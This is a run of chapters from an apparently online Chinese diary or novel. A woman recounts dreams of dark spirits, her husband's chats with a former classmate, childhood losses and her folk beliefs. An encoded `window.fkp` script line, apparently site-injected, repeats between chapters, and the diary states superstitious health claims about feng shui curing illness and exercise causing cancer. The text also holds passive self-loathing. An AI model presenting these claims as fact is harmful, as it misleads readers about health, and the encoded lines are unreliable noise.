    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第412章

    下午的梦境，其实我也分不太清，梦里面的场景是一个黑衣人，然后好多位，他们在一个平面，然后对一团黑色的灵魂，说你姐姐。
    但是我不知道他讲的什么意思。
    下一个场景是从家里出门，然后在楼梯旁拿了一把扫把，梦里的楼梯是那种灰蒙蒙一片的。
    其他的场景忘了
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第413章

    去看了流浪地球。看之前是感觉到了黑色的能量，在和我说话，它说的内容听不懂，大概的意思是希望结束这个世界，但是我不理解。然后那个场景就是一个黑色的一团的东西在看着我，但是我看不懂它是什么，然后就看着它。
    后面就吃好饭和老公去看电影。早知道我还是打车，骑的自己的车。然后去看，内容的话，我没有什么太大的感觉，《流浪地球》第一部，忘记了内容。流浪地球2我感觉责任很重要的意思吧！不惜生命，不惜一切。看的时候感觉到了黑色的东西在动，但是我还是不知道那个东西是什么？可能我需要再看几部电影？
    回家的路上我的车轮胎破了。后面就骑了一辆单车，而且我和老公一起。我就呆着，其实我很害怕，但是我相信老公。后面因为单车有区域，在某一个区域里才能停，不然需要花二十几块钱，所以我们就在某个区域停好了车，然后在路上做完了学习强国，后面就到家了。
    晚上十一点半，稍微洗漱一下休息。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第414章

    昨日之梦，梦到了一些圆圆的东西它们去膀胱经的位置，不过他们不是黑黑的东西，是比较好看的颜色，不知道是不是我的巨噬细胞。
    然后下一个场景就是一座山在山里面做事，然后下一个场景又变回了小时候，梦里面爷爷在教我种葡萄，碧水沟。用什么方法种好吃的葡萄。还讲了碧水沟的由来。那个地方和自己的家乡不是同一个地方，因为从来没有见过那个地方。不清楚啥意思。那个地方是一个山沟，水是另一个地方透过来的，可是家乡没有这个地方，然后葡萄我也不是很爱吃。而且那是山脚下，没有阳光也不适合长葡萄，所以梦里面的我不知道他在讲什么，梦里的爷爷他的样子也不是好看的样子，也不晓得他是谁幻化而来。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第415章

    聊天，我觉得我有点子无语。我不应该讲那么多。说话好快都没有思考。我们这里有个同事想生小孩子，她之前还有一个女儿。然后另一个同事推荐了一个看风水的先生。听说是另一个看风水的先生然后他们交了好多看风水的先生，那个先生最崇拜这个先生，说他很有名的那种，然后在哪个乡的街上。好多人找。很神奇。比如一个小孩子在初中突然他就精神病了，然后就找他看了一下房子，说有一个门，之前没有，然后突然做了这个门，所以就导致那个孩子生病。然后那个人家就把那个门做回去了，然后那个孩子就没有生病了。那个病就好了。还有很多例子。然后我就比较多嘴。聊了小孩子要换房间的事。
    我觉得不好，万一人家讲我怎么办？多听少说。万一就像某一位老师说的，搞风水的都会留一手，因为如果你把人家算的太好了，会折损自己的福气。还有的就是生病，本来那个人天生就要生这个病，结果你把他的病弄没了，挡了，结果自己会有灾难，但是医生去看这个病就没有问题，因为医生是老天爷选择的，专门做这个事的人。
    但是我也不知道这是什么意思？人生病肯定和潜意识有关，比如有一个评价系统，哪天的思想抛锚了，然后这就被评定为有病，在打针吃药的同时顺便拯救一下自己的思维模式。但是我也不知道这是不是真的还是假的？大道三千，一个问题可以衍生出很多很多的想法。反正有病就得治。就像开灯一样，知道按下开关灯会亮就行，至于它为什么会亮电路传导什么的，那是专业人员的事。与我们外行人没有太多的关系。这样子也不好，啥都不学。换个角度这样子也好，我们就专门懂我们这个专业的事。精力就那么多，啥都要懂，就太累了。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第416章

    等待修车，顺便散了一会儿bu，发现了好多个五金店，很想找我想要的小东西，但是没有找到，我可能需要重新买。然后我看了一些东西，至于记住了多少我也不晓得。突然感觉不舒服，膀胱痛，但是又没有什么其他的感觉，也不知道这是怎么了，感觉到了一团黑色的东西在身体里面动。很想用艾条灸一下。
    老公接了我，然后发现老公的坐位需要贴一个皮。我需要买。我已经想了很久，还没有动手买。然后我们到了要修车的地方，快吃饭了，看到了一家小店，里面的包子看起来很诱人，然后我们两个都点了粉。店家的压面机看起来好可爱，我看着她把一块面从上面取下来，然后变成平整的一块。剩下的没有去看了，盯着人家太久怕不好意思。以前吃饺子也是耐心的观察老板煮好饺子以后，飞速的包饺子。我并没有什么太多的感想纯粹只是看，欣赏。和宝宝看了一眼，然后她们的网不好我们就挂了，看到了店家的崽崽，突然之间发现大家的崽崽都差不多，都到了探索世界的年纪，这个开关扭一扭，那个袋子动一下，挺调皮可爱的。他穿的上衣很像黑色的小皮衣，然后领子上有一圈淡粉色的毛，那种粉并不是女孩子喜欢的亮粉，特别的像卡其色，下面的裤子黑色的看起来像牛仔的材质，鞋子是绿色花纹的白色运动鞋。后面他爸爸出来了，他爸爸看起来也很像九零后，发型很好看，然后搭配很好看，黑色外套黑色裤子黑色运动鞋，里面的衣服是白色的，头发斜刘海。他妈妈是穿着粉红色外套的女士，头发染过吧！淡淡的黄色，然后他们都没有穿围裙。看起来是年轻的老板和老板娘。然后小孩子就在旁边捣蛋。妈妈在旁边生气，爸爸在颠锅炒菜，我觉得他们应该是在准备明两天的东西，因为就我和老公两个人在这里，应该不需要那么久。
    后来陆陆续续来了好几个客人，我和老公也吃完了。修车的大叔来了，他开着一辆三轮车过来，带了工具气泵，新轮胎，我以为他要换胎，老公给师傅递了一根烟，然后两个人一起聊天，寒暄。我在一旁用手机听歌，后面我还以为需要好多钱，后面25元。很感谢他，那么远跑过来。我感觉还比较实惠。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第417章

    梦境，梦到了病历，然后有一些小细节，后面我记起来了，后来看到了一个高维映像，就是好像是我在搞事情，导致有这些错误一样，我也不知道为什么我会这样子想。不过我有这个映像就是了。
    然后下一个梦。梦里面是一座山，山里住着爷爷，爷爷在照顾一个孩子。很小的小孩子，周围都是黑色的东西，梦里的爷爷是发着白光的。很好看。他照顾的女孩也很可爱。梦里的我问他：爷爷你觉得我是一只麂子吗？梦里的他对我说：是啊！我觉得你是一只麂子。
    梦里他的样子是白色的，很慈悲的样子。他说很多人和他讲过。梦里的我问他：为什么你不把我打死呢？
    然后脱离了梦境。
    是啊！知道我有害，为什么不把我打死呢？尽管我也不想我的思维有问题。不想以有毒的方式存在。
    我一点也不喜欢麂子。我记得以前听到奶奶讲过这个动物，因为那户人家在山里捡了被雷劈死的麂子，然后他们得了癌症死掉了。奶奶说这玩意好衰，不要吃这东西的肉，以免衰神上门。我不记得小时候是不是在邻居家吃过这样子的肉。我不知道是什么？他们叫我吃的。我有印象。但是也不知道是不是我家死掉的小狗。
    它那个时候还有一个灵魂在那里带着，我记得是在山上，哥哥带我去山里砍柴，然后碰到了很大的灰色的东西，就像碰到了什么东西一样，它包裹我的灵魂，导致快意识都快没有了，后面我的那只小狗一直在叫我的意识流回来了，但是我的狗子死掉了，它在家里的时候突然吐了，后面就让邻居拿的去吃了。后面就吃了这只狗。我那时并没有什么爱护小动物的心，后面就在墙角看到了它的灵魂。后面我有了新的狗子，它还好。比较争强好胜。长的好看，一开始它是小狗的时候我会逗她，后面她是老狗的时候我一点也不喜欢她，她很好会送我上学，会接我回家。在家里待了很多年。后面她也死在了外面。不知道死在哪里了？之前那个姑父说过不要让我们的狗死在了外面，不过我没有听懂。我好像一直都是茫然的。
    后面我们养了其他的狗，她的胆子好小。正因为这样子，她多活了几年，但是后面也死掉了，后面我们家就没有狗了。
    我记得一个午后，我们家的大黄狗趴在了地上，我轻轻的玩着她的脚，她的脸很悲伤，她的灵魂在说我一点都不懂。然后就趴在那里一动不动。
    我也不知道她的意思是什么？
    也不知道我爷爷的意思是什么？他希望激怒我，然后我的反噬能量把他带走吗？还是其他的什么呢？我不知道耶！还是他很失望我会是这个样子。我的灵魂有问题？他不是很久以前就把我放弃了？在很小的时候就知道他想要培养的是弟弟，他最喜欢的也是弟弟。
    很多反应很多的小事也让我愤怒他喜欢弟弟。可是那个梦里，他还是在培养下一个女孩。那个女孩子好小，看起来好乖。也许他曾经也是喜欢过我的吧只不过我让他太失望了。梦境与现实可能都是幻境，幻境又变成了真实的东西，就像一堆垃圾数据一样，不是造了垃圾它自己会消失，而是它会一直留在那里，让人很难受。就像很多的愤怒怨恨一样，藏起来根本不会消失。
    要培养就培养吧！反正我已经是个废柴了，我能怎么办？我的脑子不是很好使，好使的时候不往好处使，我的天生配置就是这样子，我能怎么办？我不怨？怨有什么用？
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第418章

    爱情让我不清醒了，我这几天都好快乐，稍微秀了一点点恩爱，其实我也不想秀，因为秀恩爱死的快，这条定律从来没有变过，可是有个离过婚的老师说我嫁了个垃圾，我有点子不服气，我想给我老公正一个名，不要老骂我嫁了个垃圾。
    因此，希望他的形象会变得高大上起来。后面就有了他样子很好的样子。后面看微信说老公的手机不让人翻，发现对方出轨了，而且还谈了两年，然后我也直接问老公的手机，老公很不情愿，不情愿就有鬼，后面看到了他和他同学的记录，他们2022年聊了一年。那年我都没有聊，其实我也有很多烦恼，我也想和别人倾诉啊！首先想到的是不公平。后面想了想，也没办法，我们有孩子。我们已经结婚了，不想回去。如果孤单一个人结局也只是再被娘家嫁给下一个人，没有什么区别。就算娘家不打主意，其他人也会有心思，会打主意的，会有很多黑色的潜意识把我包裹住，很痛苦的感觉，这是很多很多人的脑子，好多黑色的想法。
    所以懒得理吧！
    爱情就像烟花一样很美也转瞬即逝。即便知道它会消失，也感恩于它出现的此刻美好。
    我哭了一下子，身体很冷。我记得上次那么冷的时候，是我妈妈说的话。这次的话，我不知道我会不会清醒。我根本带不动我的脑子，我也不知道救不救得了。
    一切随缘，顺其自然吧！
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第419章

    梦境，忘了，按理来说，发生了这样子的事，我应该潜意识里会有一点点痛苦的感觉。但是我没有。
    好像没有做什么梦，好难过。他和同学的聊天里说同学好漂亮，他没有夸我漂亮，我之前问过他为什么不夸，他都没有讲，前段时间还在说老婆肥肥的好可爱，昨天再次问，他説你看你什么样子，她多么端庄！
    他已经把所有雷斗踩了。不过那个人也快要结婚了，让他吧！这是他内心的真实想法，假装一点也不好。
    本来还想看很多很多场电影，本来看生肖，今年属猪的今年的夫妻运特别好。本来，不想讲了，痛的醒吗？减肥是一点动力都没有。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第420章

    好气！
    想了好久，重点不是她好看。我们两个一起看她的照片，我也觉得她好看。但是我老公夸她好看，没有夸我好看。这是重点。
    我减不了肥？我减不了肥？我减不了肥？我减不减肥？
    再不减肥我就没有被气死都快胖死了。自己身体才是本钱，其他的都是浮云。其他的都是浮云。
    反正我不能动，动了就得癌。就得死，那我就得等男女主自己运行的去。三十五到四十五出问题，现在我还没有三十岁，不急。
    就像某本书里写的，就算一结婚就知道以后会离或者各种不好，那也要学会来淡定享受现在的此刻的美好。这是命运的指引，躲了就跟坐牢一样，让人不爽的过一生，那就不躲呗。怕个屁。
    有很多因果联系我没有办法扯干净我就不动。
    老实说我老公还可以，以前会等我下班，很晚的时候，会逗我开心，最重要的是开心，会给宝宝买东西。带小孩子。很多让我很开心的点。在昨天说我没她好，就化为了没有，好伤心啊！
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第421章

    梦境，梦到了什么？不记得了。
    写一点点吧！回家的路上看到了老公的灵魂好多灰色的小虫子包裹着他的样子，那种样子特别的像我坐月子那个时候的东西。但是不知道是什么？
    后面回家我们就找到了他和他同学的又一个草，后面我点开去听，有点子难受。后面我就唱一下那个歌，唱了比较久。
    后面他就说我没有素质。后面我就睡了，发现他还在玩游戏，后面我就睡了，但是没有睡着。
    然后梦里就是梦到了我们家。我带老公回家割稻子，娘家，然后老公说自己手累割不动不会割。后面梦里的他就变成了一个很大的黑影，然后下一个场景就是好多农村的小伙子都出去上班了，我们家就有了好多田，种稻子。然后我们就有了科技弄的一些东西，然后就种稻子。后面就看到了崽崽，她在一个地方，她说她容易掉下去，那个地方好高。然后一个男的在说什么？听不懂。
    然后下一个场景就是梦到了我的大脑意识空间进了魔鬼，那个鬼笑的声音很像我同事的，但是现实里的同事她不是这个形象。然后就是血红色的空间然后一个黑色的魔鬼在笑。
    下一个场景，就是我在和老公的灵魂聊天，我说我惹到了什么东西，它可能会让我得病。我问他我们要不要离婚。
    下一个场景，梦里就是叫家里拿钱，把我们的彩礼退回去。
    然后下一个场景，就是一只肥胖的兔子反杀了一只黑色的狼。
    然后下一个场景就是好多人在跳舞，梦里我也在跟着跳舞。
    不理解什么意思？
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第422章

    今天快十点回的，一开始做这个表没什么经验，所以耗时比较多。
    今天在我们医院买了太子参，比药店里便宜了八块钱。一百克。二十六元。药店的是34元。不记得我买了多少了。大概一百克的样子，。我放的比较多，都还好吧！
    主要自己本来就想吃这个补气，然后这个还便宜。二十六元钱一百克，十克一天，然后可以吃十天。比奶茶更划算。而且这个可以提高免疫力。
    想一想就赚了。
    我感觉我好不舒服，可能是因为胖。还有就是头感觉不怎么清醒的感觉，有可能是因为我现在太晚了，都快凌晨了，或者是因为我今晚吃的太晚了。总之我感觉我脑子好饿，精力不足的感觉。但是不知道如何补充，提高自己的精力，还有就是不知道如何减肥，还是要减吧！减了我更舒服。
    我给我的感觉就是，感觉自己内在的灵魂很小，但是躯壳很庞大，然后很重的感觉。我这个样子也不知道是不是因为我心里太沉重了还是躯壳太沉重了。虽然看起来没心没肺的样子，但是这样子的我真的很堪忧。
    我之前看过的电影就是，这样子讲的，我不记得啥电影了。紫菜包饭，我记得这个，就是帮助别人整理房间的人，一个人的房间越乱流越说明，这个人的心里很乱，收纳了很多让自己不愉快的东西。
    好困我需要休息了。
    。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第423章

    昨日之梦，好像是把自己经历过的事，又回忆了一遍。不知道是不是同事在帮我调整脑子。
    我的脑子很奇葩，它有好多精神丝。黑色的，长长的，然后就像舞动的一群虫子一样，它就不停的在脑子里转动。然后同一件事情，我几乎可以回想上万遍，当然这是夸张，搞得我就没有时间停下来记东西。脑力完全消耗了。但是我也不知道这是什么情况，个人感觉这可能是我肾虚。肾主精。也有可能是精神病毒。我看过一本小说里面讲过这个内容。
    当然这是科幻小说，意思是有一些精神力工作者的脑子，他们的精神丝就很多，接近ss级，然后他们就可以操控机甲，人家专本培养这种人，然后女主她的精神丝，就好几条，也只有就几条，但是非常粗，每一条都有自己的意识。后来因为女主角可以在意识里和精神丝进行沟通，然后她就赢了很多人，然后宇宙里的星级机甲战斗就赢麻了。
    然后还有的小说写过，在精神力工作者以前，在地球很久以前，一直把这种人当神经病，精神病。直到很久很久以后才晓得怎么运用这种能力。书里面写过，那个世界大部分的人都不知道这个事，一个执行任务的人，然后遇到了一个因为自己有这种情况而一直吃药的人，然后那个剧情里是帮她调整精神力。
    当然这是小说。我也不知道有没有，万一我有病呢？传说中的超级有病，又或者我没有病，只是我不晓得用自己的能力。我看其他人的脑子，他们也有好几个都有这种丝，但是人家的发白光，我的发黑光。而且它们一动，我就要回忆那件事再回忆一遍，它们在我脑子里面动来动去，我就同一件事回忆了几十遍。然后那些丝它们就在脑子里笑，是那种黑色的笑。就像一群小朋友在和你玩游戏一样，后面我就变得没有精力了。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第424章

    昨天让我很不小心，昨天同事药房的说人家是不是很闲，然后不小心就说是不是说我闲，反正怼回去了，然后让我特别的不安，今天就去道歉了。虽然她打马虎眼过去了，但是知道这样子不好。我需要小心谨慎。因为我去药房买了太子参。顺便人家就说了。但是我也只是顺路收病历的时候和医生讲了，让她帮我开。又没有耽误时间，就是付了钱，拿东西走人。
    好好干活吧！别想太多，最重要的是小心谨慎，说话过一下脑子，学一下雪晴，怎么乐呵呵，笑眯眯的把事情圆过去。这真的是天分，我比较难学，但是我确实需要锻炼自己的反应能力。
    本来想看书，然后看小说去了。小说好看。
    今天老公来接的我，我的车在半路上坏了。需要修，然后老公问我是不是大明湖畔的夏雨荷，每次他接我就下雨。我接他好像没有下雨。今天家公带我们出去买剃须刀，然后顺便买了草莓，买了好多条的红内裤，还买了宝宝的球，老公最爱的榴莲千层，后面老公付的钱。红颜草莓，很好看，但是我还是喜欢奶油草莓。
    崽崽坐购物车好可爱，老母亲的心又开始泛滥了，然后拍了几张照片。
    本来想晚上看书的，没有看。看了很多人的励志的故事，可以还是没有学到和他们一样，没有痛醒，也没有被爱感化。好可惜。我对这样子的自己很不满，但是平凡琐碎间的快乐也很珍贵对吧！
    今天看了老师整的资料，好平整就像出版的书一样。
    去买两双鞋子吧！短靴。等我的车修好来。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第425章

    心情有点子烦躁，不知道为什么烦。命里有三胎，肯定希望生三胎。这是我的命，就接受我的命运，这也没有什么错误啊！而且老公对我还可以，我们也就是穷，要有多么富有才算富有？是吧！有钱就过有钱的日子，没钱就过没钱的日子，又没有什么错误。
    很烦的地方在哪里，我也不知道在哪里？我感觉我碰到了鬼，但是如果我没有问题，为什么鬼不找别人就找你呢？肯定我心里有什么思想不当的地方。我的观点吧！
    我认为二婚不好，因为会有二婚，肯定一婚有问题，然后一婚断了以后，肯定会有创伤，心理创伤，金钱创伤，很多关系很难处理，比如心理创伤，会自卑，会被别人讲，然后还有小孩子，小孩子还小，她万一有心理阴影怎么办？很大的影响，金钱创伤，结婚本来就很要花钱，然后你结两次，人家会觉得你有问题，怕是骗钱的，但是这些都是让家变成枷锁的方式还有借口，如果自己过的好好的，闲的没事为什么要去离呢？离肯定都有它的理由，过的不开心了，心灵窒息中。
    我暂时还没有到心里窒息的感觉的地步，所以不会想离开。就像我妈妈也仅仅只是去外面打了几年工，我对她的讨厌，还有恨就一辈子，如果我离了，我宝宝会不会过的很难受？一辈子呢？将心比心，我觉得她会不开心。
    所以就这样子吧！我相信九年义乌教育过的九零后，我老公的朋友她不会越雷池，我老公也不会，他没有那个胆子。如果会呢？那就那个时候再看呗！至少女儿我是会守几年，能守几年守几年。
    对女性来说结婚是一件不公平的事。几乎把自己所有的精力都用在了别人的身上，那我们有什么办法呢？这是这个世界的规则。
    即使你换了一个人，你不用付出吗？要的。既然是为别人付出，那么就一定会有收获，可能收获的是别人的感激，或者不感激。存在伤害，你不为别人付出，你也没有办法立足。
    所以没区别。
    而且有很多麻烦，不喜欢那么多麻烦，最重要的是自己本身的成长，成长不仅仅只是金钱而是灵魂和品格的成长。结婚也只是我投射在他身上的相，回馈到我这里。我投射到我老公那里的相是什么样子的？
    老公好懒，一回家就玩游戏，和他朋友玩游戏，然后一玩就是到十几点钟，半夜。然后就刷视频，让他和我聊天，然后他说他聊了，后面就像冷战一样。一开始我很生气，后面我就没有生气了，习惯了，我就看小说。找到自己喜欢的方式。以前看小说他会打扰我一下，后面也习惯了。单身时他喜欢玩游戏，我喜欢看小说，结婚了我们的结果也是一样。还是玩游戏的爱玩游戏，看小说的爱看小说。唯一的区别就是，我终于下笔写了，我想写小说已经想了很多年。但是我心里认为这是不可能的事，
    这是初一还是六年级，看到一篇小学生之友还是初中生之友来着，那里有一篇文字，写的是一个女孩子通过自己写文章然后发到了那里，后面收获了稿费，然后攒钱上学的故事，然后我就很想写，可是那个时候的我没有寄过信，也不懂什么是邮编什么的，虽然学校老师教了，但是我从来没有接触过，然后我就没有去。
    还记得一本老书，可能是爸爸那一辈的，那本书里写的是一个女孩子她在下课之余养了一只长毛兔，然后她就很用心的养，减了兔子毛卖，然后就攒了好多钱上学。但是那个时候的我也很小，我没有长毛兔。没办法剪毛卖钱。
    还记得小时候一些姐姐在路边采集一些药草卖钱，然后她们都去采了我不认识很多的名字，我只记得夏枯草，其他的不记得。海金沙收集了一些，但是并不多，后面就没有动力去挣钱，我也不知道为什么，但是就是这样子一个过程。可能这玩意就是所谓的财运吧！你知道这件事可以给你带来财富，幸福，可是你并不想用心去做，去干。
    我觉得这是因为我有心病。但是我也不知道怎么治疗，我的学识很浅薄。这个世界又特别的浩瀚无穷，充满了各种变化，没办法的事。
    有办法我也不想用，好像就是想惩罚我一样。惩罚我什么呢？惩罚我的软弱，不思进取。还有没有自我，我觉得需要学的东西很多，这种病书里面也有写，我需要吃点药。就看我自己愿不愿意让我自己好起来了。
    去修车了，修车师傅帮我拖车，吓到我了，然后一根皮带烂了，把那个皮带换了，还有一个运转皮带的东西换了一百多块钱，然后换了电瓶电瓶一百多，其实电瓶没有坏，但是它发动的时候不太好发动。所以就换了。加起来三百。顺便修了一下刹车。我就在那里看着他捣鼓，啥我也不懂，毕竟隔行如隔山。各种工具我也不认识。
    但是对他的感觉不好，感觉他不是很会修，我也不知道为什么会有这种想法，但是人家帮我修好了，心里有这样子的念头不好。
    我想起了我怀我宝宝那年，我的车坏了好几个胎，然后修车师傅都是给我换轮胎，后面就换掉了。不过我们要花的钱也花掉了。花钱消灾。
    不管它那么多，他帮我修好了就行，修车技术肯定哪里都有区别？但是人家愿意帮我修就行。
    我不太想换车。这个车陪了我好多年。反正工作没多久省吃俭用买的。舍不得。而且我的曾经非常的贫穷，虽然妈妈家看起来很好，但是我出生以后的那几年并不是很富有，然后大家都是苦日子，然后就比较珍惜自己所拥有的一切。老公家不一样，坏了就会扔到。
    我想起扔掉的那把椅子就觉得可惜。后面也习惯了。慢慢会学会让自己开心的生活。
    每个家的家庭理念都不一样，记得一个同学，她的书保留的很好，书稍微折了一个角她都很心疼。这让我想到了我爸爸买的一本西游记给我，然后那本书被芳芳借走了，后面她还给我的时候有一页有了伤痕，我很难过，但是也不敢讲什么，因为我怕她说我小气，不和我玩，但是我就是不开心。不开心有人把我的书弄的不好看。
    我很想要一个书房。现在没有，不知道以后会不会有。
    看了一个故事，一个老人家她的生活，别人写的感想。别人眼中的他们过的很好，其实自己去经历就是痛苦的。我们也差不多吧！反正各有各的不爽。
    我感觉我老公嫌弃我了。明明我都是用他曾经逗我开心的方式逗他，他不开心。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第426章

    昨日之梦。梦境里是碰到了一个奇怪的灵魂，它像一团绿色的东西，然后它围着一个孩子，说要它的生辰八字，然后就在笑，梦里的我好生气。后面就是醒了睡不着了，再后面就是梦到了河边，然后我就在河岸上看到了金樱子，很像很大像碗一样大的金樱子。然后感觉有点子像刺梨，有的成熟的很黑，我很想吃掉它，但是梦里的我没有去吃。然后在河边看到了老公，老公在梦里打电话，梦里的我抱起了宝宝。
    而且我感觉梦里的我像一个男的，而宝宝像一个布娃娃。但是不晓得什么意思？
    梦里回忆到了爸爸接妈妈回家，然后常年累月他都没什么精神，知道妈妈回家了，他就很有劲，然后就去接妈妈回家。后面我就看到了黑色的很大的东西，爸爸说我还是什么都不懂。梦里我回忆到了这个点，我觉得我很像魔鬼。
    梦里看到了我的身体，身体上面是一个黑色的孩子，它可能很生气我觉得自己是魔鬼，然后梦里它在我的身体里动了，我的盆腔好像都变成了黑色的。不晓得怎么了，感觉我好冷。
    然后下一个回忆的场景，那个场景里有一支黑色的灵魂之笔，然后那笔我想去同学聚会，然后那种黑色的东西就动了，后面心情就不算太好，如今的梦里梦到了它，梦里的我问它，你不是不太喜欢我吗？
    然后那个场景是娘家的人很生气，因为碰到了一个人，他曾经偷掉了我们家的鸭子，藏起来了，后面他们就一直在吵架。天上下了很多雨，很多黑色的东西。那个梦里我好像是一群鸭子，心情一般，然后看到了一个蓝色的人，希望他把我带回家，我已经忘记了自己家在什么地方？我的家给我的感觉很冷。后面他就把我装进了他的筐里面。后面就是吵架。可能那群鸭子没有抢回来，后面见面就吵架。天上有很多黑色的能量。
    我也不知道为什么会想起这个？
    然后下一个场景就是下了很多雨的家，梦里的那个灵魂很难过，感觉自己家里好多魔鬼，不想嫁给自己喜欢的人，以免拖累他的一生，梦里的她在哭，很无奈。
    后面就断了。也挺好的。
